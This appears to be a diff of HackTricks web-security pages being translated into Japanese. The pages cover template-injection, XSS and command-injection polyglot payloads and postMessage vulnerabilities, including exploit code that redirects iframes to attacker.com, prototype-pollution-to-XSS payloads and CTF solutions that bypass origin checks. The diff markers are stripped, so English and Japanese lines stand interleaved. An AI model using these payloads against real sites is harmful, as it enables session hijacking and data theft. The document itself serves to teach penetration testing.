@ -180,40 +155,30 @@ ${7*7}
${{7*7}}
#{7*7}
```
### Polygloths
### ポリグロス
```python
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
```
## [XSLT サーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
### Basic Tests
### 基本テスト
```markup
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
### Polygloths
### ポリグロス
```markup
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
```
## XSS
### Basic Tests
### 基本テスト
```markup
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
```
### Polygloths
### ポリグロス
```markup
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
@ -241,6 +206,4 @@ javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=document.location=`//localhost/mH`//>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,6 @@
# Web Vulns List
{{#include ../../banners/hacktricks-training.md}}
```python
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
@ -41,6 +40,4 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,13 +1,12 @@
# PostMessage Vulnerabilities
# PostMessageの脆弱性
## PostMessage Vulnerabilities
## PostMessageの脆弱性
{{#include ../../banners/hacktricks-training.md}}
## Send **PostMessage**
**PostMessage** uses the following function to send a message:
## **PostMessage**を送信
**PostMessage**は、メッセージを送信するために以下の関数を使用します:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
@ -33,208 +32,196 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
**targetOrigin** は '\*' または _https://company.com_ のような URL である可能性があります。\
**第二のシナリオ**では、**メッセージはそのドメインにのみ送信される**(ウィンドウオブジェクトのオリジンが異なっていても)。\
**ワイルドカード**が使用されると、**メッセージは任意のドメインに送信される可能性があり**、ウィンドウオブジェクトのオリジンに送信されます。
Note that **targetOrigin** can be a '\*' or an URL like _https://company.com._\
In the **second scenario**, the **message can only be sent to that domain** (even if the origin of the window object is different).\
If the **wildcard** is used, **messages could be sent to any domain**, and will be sent to the origin of the Window object.
### Attacking iframe & wildcard in **targetOrigin**
As explained in [**this report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) if you find a page that can be **iframed** (no `X-Frame-Header` protection) and that is **sending sensitive** message via **postMessage** using a **wildcard** (\*), you can **modify** the **origin** of the **iframe** and **leak** the **sensitive** message to a domain controlled by you.\
Note that if the page can be iframed but the **targetOrigin** is **set to a URL and not to a wildcard**, this **trick won't work**.
### iframe と **targetOrigin** のワイルドカードを攻撃する
[**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**iframed** 可能なページ(`X-Frame-Header` 保護なし)を見つけ、**ワイルドカード**\*)を使用して **postMessage** 経由で **機密** メッセージを **送信している** 場合、**iframe** の **origin****変更** し、**機密** メッセージをあなたが制御するドメインに **漏洩** させることができます。\
ページが iframed 可能であるが、**targetOrigin** が **URL に設定されていてワイルドカードではない**場合、この **トリックは機能しません**
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## addEventListenerの悪用
## addEventListener exploitation
**`addEventListener`** is the function used by JS to declare the function that is **expecting `postMessages`**.\
A code similar to the following one will be used:
**`addEventListener`** は、JSが**`postMessages`**を期待する関数を宣言するために使用する関数です。\
次のようなコードが使用されます:
```javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
// ...
},
false
)
```
注意すべきは、**最初に**コードが行うことは**オリジンの確認**です。これは、受信した情報で**何か敏感なこと**(パスワードの変更など)を行う場合に非常に**重要**です。**オリジンを確認しないと、攻撃者が被害者に任意のデータをこのエンドポイントに送信させ、被害者のパスワードを変更させることができます**(この例では)。
Note in this case how the **first thing** that the code is doing is **checking the origin**. This is terribly **important** mainly if the page is going to do **anything sensitive** with the received information (like changing a password). **If it doesn't check the origin, attackers can make victims send arbitrary data to this endpoints** and change the victims passwords (in this example).
### 列挙
### Enumeration
現在のページで**イベントリスナーを見つける**ために、次のことができます:
In order to **find event listeners** in the current page you can:
- **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)
- **Execute** in the developer tools console: `getEventListeners(window)`
- `window.addEventListener``$(window).on`_JQueryバージョン_のJSコードを**検索**する
- 開発者ツールのコンソールで`getEventListeners(window)`を**実行**する
![](<../../images/image (618) (1).png>)
- **Go to** _Elements --> Event Listeners_ in the developer tools of the browser
- ブラウザの開発者ツールで_Elements --> Event Listeners_に**移動**する
![](<../../images/image (396).png>)
- Use a **browser extension** like [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) or [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). This browser extensions will **intercept all the messages** and show them to you.
- [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta)[https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)のような**ブラウザ拡張機能**を使用する。このブラウザ拡張機能は、**すべてのメッセージを傍受**し、表示します。
### Origin check bypasses
### オリジンチェックのバイパス
- **`event.isTrusted`** attribute is considered secure as it returns `True` only for events that are generated by genuine user actions. Though it's challenging to bypass if implemented correctly, its significance in security checks is notable.
- The use of **`indexOf()`** for origin validation in PostMessage events may be susceptible to bypassing. An example illustrating this vulnerability is:
- **`event.isTrusted`**属性は、ユーザーの正当なアクションによって生成されたイベントに対してのみ`True`を返すため、安全と見なされます。正しく実装されていればバイパスは難しいですが、セキュリティチェックにおけるその重要性は注目に値します。
- PostMessageイベントでのオリジン検証に**`indexOf()`**を使用することは、バイパスされる可能性があります。この脆弱性を示す例は次のとおりです:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- The **`search()`** method from `String.prototype.search()` is intended for regular expressions, not strings. Passing anything other than a regexp leads to implicit conversion to regex, making the method potentially insecure. This is because in regex, a dot (.) acts as a wildcard, allowing for bypassing of validation with specially crafted domains. For instance:
- `String.prototype.search()`の**`search()`**メソッドは、文字列ではなく正規表現用に設計されています。正規表現以外のものを渡すと、暗黙的に正規表現に変換されるため、このメソッドは潜在的に安全ではありません。これは、正規表現ではドット(.)がワイルドカードとして機能し、特別に作成されたドメインで検証をバイパスできるためです。例えば:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- The **`match()`** function, similar to `search()`, processes regex. If the regex is improperly structured, it might be prone to bypassing.
- The **`escapeHtml`** function is intended to sanitize inputs by escaping characters. However, it does not create a new escaped object but overwrites the properties of the existing object. This behavior can be exploited. Particularly, if an object can be manipulated such that its controlled property does not acknowledge `hasOwnProperty`, the `escapeHtml` won't perform as expected. This is demonstrated in the examples below:
- **`match()`**関数は、`search()`と同様に正規表現を処理します。正規表現が不適切に構造化されている場合、バイパスされる可能性があります。
- **`escapeHtml`**関数は、文字をエスケープすることで入力をサニタイズすることを目的としています。しかし、新しいエスケープされたオブジェクトを作成するのではなく、既存のオブジェクトのプロパティを上書きします。この動作は悪用される可能性があります。特に、オブジェクトが操作され、その制御されたプロパティが`hasOwnProperty`を認識しない場合、`escapeHtml`は期待通りに機能しません。以下の例で示されています:
- Expected Failure:
- 期待される失敗:
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Bypassing the escape:
- エスケープをバイパス:
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
In the context of this vulnerability, the `File` object is notably exploitable due to its read-only `name` property. This property, when used in templates, is not sanitized by the `escapeHtml` function, leading to potential security risks.
この脆弱性の文脈では、`File`オブジェクトはその読み取り専用の`name`プロパティのために特に悪用されやすいです。このプロパティは、テンプレートで使用されるときに`escapeHtml`関数によってサニタイズされず、潜在的なセキュリティリスクを引き起こします。
- The `document.domain` property in JavaScript can be set by a script to shorten the domain, allowing for more relaxed same-origin policy enforcement within the same parent domain.
- JavaScriptの`document.domain`プロパティは、スクリプトによってドメインを短縮するために設定でき、同じ親ドメイン内での同一オリジンポリシーの適用を緩和します。
### e.origin == window.origin bypass
### e.origin == window.originのバイパス
When embedding a web page within a **sandboxed iframe** using %%%%%%, it's crucial to understand that the iframe's origin will be set to null. This is particularly important when dealing with **sandbox attributes** and their implications on security and functionality.
%%%%%%を使用して**サンドボックス化されたiframe**内にウェブページを埋め込む場合、iframeのオリジンはnullに設定されることを理解することが重要です。これは、**サンドボックス属性**とそのセキュリティおよび機能への影響を扱う際に特に重要です。
By specifying **`allow-popups`** in the sandbox attribute, any popup window opened from within the iframe inherits the sandbox restrictions of its parent. This means that unless the **`allow-popups-to-escape-sandbox`** attribute is also included, the popup window's origin is similarly set to `null`, aligning with the iframe's origin.
サンドボックス属性に**`allow-popups`**を指定することで、iframe内から開かれたポップアップウィンドウは親のサンドボックス制限を継承します。これは、**`allow-popups-to-escape-sandbox`**属性も含まれていない限り、ポップアップウィンドウのオリジンも同様に`null`に設定され、iframeのオリジンと一致することを意味します。
Consequently, when a popup is opened under these conditions and a message is sent from the iframe to the popup using **`postMessage`**, both the sending and receiving ends have their origins set to `null`. This situation leads to a scenario where **`e.origin == window.origin`** evaluates to true (`null == null`), because both the iframe and the popup share the same origin value of `null`.
したがって、これらの条件下でポップアップが開かれ、iframeからポップアップに**`postMessage`**を使用してメッセージが送信されると、送信側と受信側の両方のオリジンが`null`に設定されます。この状況は、**`e.origin == window.origin`**が真(`null == null`と評価されるシナリオを引き起こします。なぜなら、iframeとポップアップは同じオリジン値`null`を共有しているからです。
For more information **read**:
詳細については**読む**
{{#ref}}
bypassing-sop-with-iframes-1.md
{{#endref}}
### Bypassing e.source
It's possible to check if the message came from the same window the script is listening in (specially interesting for **Content Scripts from browser extensions** to check if the message was sent from the same page):
### e.sourceのバイパス
メッセージがスクリプトがリスニングしている同じウィンドウから来たかどうかを確認することが可能です(特に**ブラウザ拡張のコンテンツスクリプト**がメッセージが同じページから送信されたかどうかを確認するのに興味深いです):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
return
}
```
メッセージの **`e.source`** を null にするには、**postMessage** を **送信** し、**即座に削除** される **iframe** を作成します。
You can force **`e.source`** of a message to be null by creating an **iframe** that **sends** the **postMessage** and is **immediately deleted**.
For more information **read:**
詳細については **読んでください:**
{{#ref}}
bypassing-sop-with-iframes-2.md
{{#endref}}
### X-Frame-Header bypass
In order to perform these attacks ideally you will be able to **put the victim web page** inside an `iframe`. But some headers like `X-Frame-Header` can **prevent** that **behaviour**.\
In those scenarios you can still use a less stealthy attack. You can open a new tab to the vulnerable web application and communicate with it:
### X-Frame-Header バイパス
これらの攻撃を実行するには、理想的には **被害者のウェブページ**`iframe` 内に配置できる必要があります。しかし、`X-Frame-Header` のようなヘッダーはその **動作****防ぐ** ことがあります。\
そのようなシナリオでは、あまりステルス性のない攻撃を使用することができます。脆弱なウェブアプリケーションに新しいタブを開き、通信することができます:
```markup
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### 子に送信されたメッセージをメインページをブロックして盗む
### Stealing message sent to child by blocking the main page
In the following page you can see how you could steal a **sensitive postmessage data** sent to a **child iframe** by **blocking** the **main** page before sending the data and abusing a **XSS in the child** to **leak the data** before it's received:
次のページでは、データを送信する前にメインページを**ブロック**し、子の**XSS**を悪用してデータを受信する前に**漏洩**させることで、**子iframe**に送信された**敏感なpostmessageデータ**をどのように盗むことができるかを示しています:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### Stealing message by modifying iframe location
### iframeの位置を変更してメッセージを盗む
If you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**, so if it's receiving a **postmessage** sent using a **wildcard**, an attacker could **change** that iframe **origin** to a page **controlled** by him and **steal** the message:
X-Frame-Headerがないウェブページをiframeできる場合、別のiframeを含む場合、その子iframeの**位置を変更**することができます。もしそれが**ワイルドカード**を使用して送信された**postmessage**を受信している場合、攻撃者はそのiframeの**オリジン**を自分が**制御**するページに**変更**し、メッセージを**盗む**ことができます:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
{{#endref}}
### postMessage to Prototype Pollution and/or XSS
### postMessageによるプロトタイプ汚染および/またはXSS
In scenarios where the data sent through `postMessage` is executed by JS, you can **iframe** the **page** and **exploit** the **prototype pollution/XSS** sending the exploit via `postMessage`.
`postMessage`を通じて送信されたデータがJSによって実行されるシナリオでは、**ページ**を**iframe**し、`postMessage`を介してエクスプロイトを送信することで**プロトタイプ汚染/XSS**を**悪用**できます。
A couple of **very good explained XSS though `postMessage`** can be found in [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Example of an exploit to abuse **Prototype Pollution and then XSS** through a `postMessage` to an `iframe`:
[https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)に、**postMessage**を通じた**非常に良く説明されたXSS**のいくつかがあります。
`iframe`への`postMessage`を通じて**プロトタイプ汚染を悪用し、その後XSS**を行うエクスプロイトの例:
```html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
setTimeout(get_code, 2000)
</script>
</body>
</html>
```
**詳細情報**について:
For **more information**:
- [**プロトタイプ汚染**](../deserialization/nodejs-proto-prototype-pollution/)に関するページへのリンク
- [**XSS**](../xss-cross-site-scripting/)に関するページへのリンク
- [**クライアントサイドプロトタイプ汚染からXSSへのリンク**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
- Link to page about [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
- Link to page about [**XSS**](../xss-cross-site-scripting/)
- Link to page about [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
## References
## 参考文献
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
- To practice: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
- 実践用: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,32 +4,27 @@
## Winning RCs with Iframes
According to this [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.
この[**Terjanqの解説**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710)によると、null originから作成されたblobドキュメントはセキュリティ上の利点のために隔離されており、つまり、メインページを忙しく保つと、iframeページが実行されることになります。
Basically in that challenge an **isolated iframe is executed** and right **after** it's **loaded** the **parent** page is going to **send a post** message with the **flag**.\
However, that postmessage communication is **vulnerable to XSS** (the **iframe** can execute JS code).
基本的に、このチャレンジでは**隔離されたiframeが実行され**、その**読み込み**の**直後**に**親**ページが**フラグ**を含む**post**メッセージを**送信**します。\
しかし、そのpostmessage通信は**XSSに脆弱**です(**iframe**はJSコードを実行できます
Therefore, the goal of the attacker is to **let the parent create the iframe**, but **before** let the **parent** page **send** the sensitive data (**flag**) **keep it busy** and send the **payload to the iframe**. While the **parent is busy** the **iframe executes the payload** which will be some JS that will listen for the **parent postmessage message and leak the flag**.\
Finally, the iframe has executed the payload and the parent page stops being busy, so it sends the flag and the payload leaks it.
But how could you make the parent be **busy right after it generated the iframe and just while it's waiting for the iframe to be ready to send the sensitive data?** Basically, you need to find **async** **action** you could make the parent **execute**. For example, in that challenge the parent was **listening** to **postmessages** like this:
したがって、攻撃者の目標は**親にiframeを作成させる**ことですが、**親**ページが**機密データ(**フラグ**)を**送信**する**前に**、それを**忙しく保ち**、**payloadをiframeに送信**することです。**親が忙しい間**、**iframeはpayloadを実行**し、これは**親のpostmessageメッセージをリッスンし、フラグを漏洩させる**JSになります。\
最終的に、iframeはpayloadを実行し、親ページは忙しさをやめるので、フラグを送信し、payloadがそれを漏洩させます。
では、どのようにして親を**iframeを生成した直後に忙しくさせ、機密データを送信するためにiframeが準備できるのを待っている間だけ忙しくさせることができるでしょうか** 基本的に、親に**実行**させることができる**非同期**の**アクション**を見つける必要があります。例えば、このチャレンジでは親がこのように**postmessages**を**リッスン**していました:
```javascript
window.addEventListener("message", (e) => {
if (e.data == "blob loaded") {
$("#previewModal").modal()
}
if (e.data == "blob loaded") {
$("#previewModal").modal()
}
})
```
so it was possible to send a **big integer in a postmessage** that will be **converted to string** in that comparison, which will take some time:
そのため、**postmessageで大きな整数を送信する**ことが可能であり、その比較で**文字列に変換される**ため、時間がかかります:
```bash
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);
```
And in order to be precise and **send** that **postmessage** just **after** the **iframe** is created but **before** it's **ready** to receive the data from the parent, you will need to **play with the miliseconds of a `setTimeout`**.
正確にし、**postmessage**を**iframe**が作成された**後**、しかし親からデータを受け取る準備ができる**前**に送信するためには、`setTimeout`のミリ秒を**調整**する必要があります。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,77 +1,72 @@
# Bypassing SOP with Iframes - 1
# SOPをIframesでバイパスする - 1
{{#include ../../banners/hacktricks-training.md}}
## Iframes in SOP-1
In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
## SOP-1におけるIframes
この[**チャレンジ**](https://github.com/terjanq/same-origin-xss)は[**NDevTK**](https://github.com/NDevTK)と[**Terjanq**](https://github.com/terjanq)によって作成され、あなたはコーディングされたXSSを悪用する必要があります。
```javascript
const identifier = "4a600cd2d4f9aa1cfb5aa786"
onmessage = (e) => {
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
const data = e.data
if (e.origin !== window.origin && data.identifier !== identifier) return
if (data.type === "render") {
renderContainer.innerHTML = data.body
}
}
```
主な問題は、[**メインページ**](https://so-xss.terjanq.me)がDomPurifyを使用して`data.body`を送信するため、独自のHTMLデータをそのコードに送信するには、**`e.origin !== window.origin`**を**バイパス**する必要があることです。
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
提案されている解決策を見てみましょう。
Let's see the solution they propose.
### SOPバイパス 1 (e.origin === null)
### SOP bypass 1 (e.origin === null)
`//example.org`が**サンドボックス化されたiframe**に埋め込まれると、ページの**オリジン**は**`null`**になります。つまり、**`window.origin === null`**です。したがって、`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`を介してiframeを埋め込むだけで、**`null`オリジンを強制**できます。
When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
ページが**埋め込み可能**であれば、その方法でその保護をバイパスできます(クッキーも`SameSite=None`に設定する必要があるかもしれません)。
If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
### SOPバイパス 2 (window.origin === null)
### SOP bypass 2 (window.origin === null)
あまり知られていない事実は、**サンドボックス値`allow-popups`が設定されている場合**、**開かれたポップアップ**はすべての**サンドボックス属性**を**継承**することです。ただし、`allow-popups-to-escape-sandbox`が設定されていない限りです。\
したがって、**nullオリジン**から**ポップアップ**を開くと、ポップアップ内の**`window.origin`**も**`null`**になります。
The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
### チャレンジ解決策
### Challenge Solution
Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
したがって、このチャレンジのために、**iframeを作成**し、脆弱なXSSコードハンドラー`/iframe.php`)を持つページに**ポップアップを開く**ことができます。`window.origin === e.origin`のため、両方が`null`であるため、**XSSを悪用するペイロードを送信**することが可能です。
その**ペイロード**は**識別子**を取得し、**XSS**を**トップページ**(ポップアップを開いたページ)に**戻します**。**そのページは**、**脆弱な**`/iframe.php`に**ロケーションを変更**します。識別子が知られているため、条件`window.origin === e.origin`が満たされないことは問題ではありません(オリジンは**オリジン**が**`null`**のiframeからの**ポップアップ**です)なぜなら、`data.identifier === identifier`だからです。次に、**XSSが再びトリガーされます**。今度は正しいオリジンで。
```html
<body>
<script>
f = document.createElement("iframe")
<script>
f = document.createElement("iframe")
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Needed flags
f.sandbox = "allow-scripts allow-popups allow-top-navigation"
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll("\n", " ")
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f)
</script>
</body>
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,25 +1,22 @@
# Bypassing SOP with Iframes - 2
# SOPをIframesでバイパスする - 2
{{#include ../../banners/hacktricks-training.md}}
## Iframes in SOP-2
## SOP-2におけるIframes
In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) proposes a similar method to the previous section. Let's check it.
In this challenge the attacker needs to **bypass** this:
この[**チャレンジ**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)の[**解決策**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**、** [**@Strellic\_**](https://twitter.com/Strellic_)は前のセクションと似た方法を提案しています。確認してみましょう。
このチャレンジでは、攻撃者はこれを**バイパス**する必要があります:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
もし彼がそうすれば、彼は**postmessage**を送信することができ、その内容は**`innerHTML`**でページに書き込まれ、サニタイズされません(**XSS**)。
If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).
The way to bypass the **first check** is by making **`window.calc.contentWindow`** to **`undefined`** and **`e.source`** to **`null`**:
- **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`** (note that Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- is not configured to protect against DOM clobbering attacks in its default state).
- Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**.
- Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, **`null == undefined`** is **`True`**). Getting this is "easy". If you create an **iframe** and **send** a **postMessage** from it and immediately **remove** the iframe, **`e.origin`** is going to be **`null`**. Check the following code
**最初のチェック**をバイパスする方法は、**`window.calc.contentWindow`**を**`undefined`**にし、**`e.source`**を**`null`**にすることです:
- **`window.calc.contentWindow`**は実際には**`document.getElementById("calc")`**です。あなたは**`document.getElementById`**を**`<img name=getElementById />`**でクラッシャーできますサニタイザーAPI -[こちら](https://wicg.github.io/sanitizer-api/#dom-clobbering)-は、デフォルトの状態ではDOMクラッシャー攻撃から保護するように設定されていません
- したがって、あなたは**`document.getElementById("calc")`**を**`<img name=getElementById /><div id=calc></div>`**でクラッシャーできます。そうすると、**`window.calc`**は**`undefined`**になります。
- さて、**`e.source`**を**`undefined`**または**`null`**にする必要があります(なぜなら`==`が使用されているため、**`null == undefined`**は**`True`**です)。これを得るのは「簡単」です。**iframe**を作成し、そこから**postMessage**を送信し、すぐに**iframe**を**削除**すれば、**`e.origin`**は**`null`**になります。次のコードを確認してください。
```javascript
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
@ -28,60 +25,56 @@ await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
```
**二回目のチェック**をバイパスするためには、**`token`**を値`null`で送信し、**`window.token`**の値を**`undefined`**にすることです:
In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**:
- Sending `token` in the postMessage with value `null` is trivial.
